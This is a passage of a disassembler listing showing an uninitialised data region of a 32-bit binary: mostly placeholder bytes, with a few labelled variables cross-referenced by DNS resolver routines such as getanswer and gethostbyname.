; db ? ; db ? ; unk_8079F10 db ? ; ; DATA XREF: getanswer+1F6o ; sub_804C5A4+113o ... db ? ; db ? ; db ? ; unk_8079F14 db ? ; ; DATA XREF: getanswer+50o ; sub_804C5A4+47o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807A315 db ? ; ; DATA XREF: getanswer+54Eo db ? ; db ? ; dword_807A318 dd ? ; DATA XREF: gethostbyname+35w ; gethostbyname+81o ... unk_807A31C db ? ; ; DATA XREF: sub_804C5A4+AAo ; _getnishost+109o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_807A340 dd ? ; DATA XREF: sub_804C5A4+A0o ; sub_804C5A4+AAw ... db ? ; db ? ; db ? ; db ? ; dword_807A348 dd ? ; DATA XREF: dotrimdomain+14r ; init_services_resolv+985w ... db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807A358 db ? ; ; DATA XREF: init_services_resolv+Eo ; init_services_resolv+D98o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807A758 db ? ; ; DATA XREF: sub_804E490+178o ; sub_804E490+188o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; byte_807A857 db ? ; DATA XREF: sub_804E490+16Bw dword_807A858 dd ? ; DATA XREF: sub_8054E0C+13o ; sub_8054E0C+24w db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? 